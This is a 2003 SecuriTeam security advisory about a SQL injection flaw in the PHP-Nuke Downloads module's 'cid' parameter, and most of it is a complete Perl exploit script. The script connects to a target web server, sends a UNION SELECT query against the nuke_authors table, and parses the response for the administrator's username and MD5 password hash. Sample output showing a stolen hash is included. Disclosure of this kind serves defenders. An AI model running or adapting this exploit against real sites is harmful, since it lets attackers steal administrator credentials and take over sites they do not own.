[EXPL] PHP-Nuke 'cid' SQL Injection

From: SecuriTeam (support_at_securiteam.com)
Date: 12/24/03

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Date: 24 Dec 2003 15:07:34 +0200

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      PHP-Nuke 'cid' SQL Injection
    ------------------------------------------------------------------------

    SUMMARY

    PHP-Nuke contains an exploitable SQL injection vulnerability that can be
    used by attackers to cause the system to execute arbitrary SQL statements.
    The following exploit code can be used to test your system for the
    mentioned vulnerability.

    DETAILS

    Vulnerable systems:
     * PHP-NUKE version 6.9 and prior

    Exploit:
    #!/usr/bin/perl -w
    use IO::Socket;

    ########################################
    ## THIS CODE PUBLIC NOW =))) ##
    ########################################
    ## __________ ___ ___ ##
    ## \______ \__ __ ______/ | \ ##
    ## | _/ | \/ ___/ _ \ ##
    ## | | \ | /\___ \\ / ##
    ## |____|_ /____//____ >\___|_ / ##
    ## \/ \/ \/ ##
    ########################################
    ## based on 'cid' sql injection vuln
    ## in Download module, more info about
    ## this vuln u can see here:
    ## http://rst.void.ru/texts/advisory10.htm
    ########################################
    ## work only on mysql version > 4.0
    ########################################
    ## tested on PHP-Nuke versions: 6.9, 6.0, 6.5
    ## C:\>r57phpnuke.pl 127.0.0.1 /phpnuke/ admin
    ##
    ## server : 127.0.0.1
    ## folder : /phpnuke/
    ## aid : admin
    ##
    ## [~] prepare to connect...
    ## [+] connected
    ## [~] prepare to send data...
    ## [+] success
    ## [~] wait for reply...
    ## [+] w00t...
    ## [+] USER: admin
    ## [+] MD5 HASH: 5f4dcc3b5aa765d61d8327deb882cf99
    ##
    ########################################

    if (@ARGV < 3)
    {
    print
    "################################################################\n";
    print " r57nuke-cid.pl - PHP-NUKE 'cid' sql injection exploit\n";
    print " by RusH security team // www.rsteam.ru , http://rst.void.ru\n";
    print " coded by 1dt.w0lf // r00t\@rsteam.ru // 17.09.2003\n";
    print
    "################################################################\n";
    print " Usage:\n";
    print " r57nuke-cid.pl <host> </folder/> <aid>\n";
    print "\n";
    print " <host> - host for attack\n";
    print " </folder/> - PHP-nuke folder ( /phpnuke/ , /nuke/ or / for no
    folder )\n";
    print " <aid> - user aid , nick ( admin , blabla )\n";
    print
    "##################################################################";
    exit();
    }

    $server = $ARGV[0];
    $folder = $ARGV[1];
    $aid = $ARGV[2];

    print "\n";
    print "server : $server\n";
    print "folder : $folder\n";
    print "aid : $aid\n";
    print "\n";
    $success = 0;
    $path_download =
    "modules.php?name=Downloads&d_op=viewdownload&cid=2%20UNION%20select%20counter,%20aid,%20pwd%20FROM%20nuke_authors%20--";
    $GET = $folder . $path_download;
    print "[~] prepare to connect...\n";
    $socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$server",
    PeerPort => "80") || die "[-] connect failed\n";
    print "[+] connected\n";
    print "[~] prepare to send data...\n";
    print $socket "GET $GET HTTP/1.1\n";
    print $socket "Host: $server\n";
    print $socket "Accept: */*\n";
    print $socket "Http-Referer: http://microsoft.com\n";
    print $socket "User-Agent: Internet Explorer 6.0\n";
    print $socket "Pragma: no-cache\n";
    print $socket "Cache-Control: no-cache\n";
    print $socket "Connection: close\n\n";
    print "[+] success\n";
    print "[~] wait for reply...\n";
    while ($answer = <$socket>)
    {
     #print "$answer";
     if
    ($answer=~/(&cid=)(\w)(\"><b>)($aid)(<\/b><\/a><\/font>)(.{0,20})(<font
    class=\"content\">)(.{32})(<\/font>)/)
     {
     $success = 1;
     print "[+] w00t...\n";
     print "[+] USER: $1 \n[+] MD5 HASH: $6\n";
     }
    }
    if ($success == 0) { print "[-] exploit failed =(\n"; }

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:r00t@rsteam.ru> r00t.

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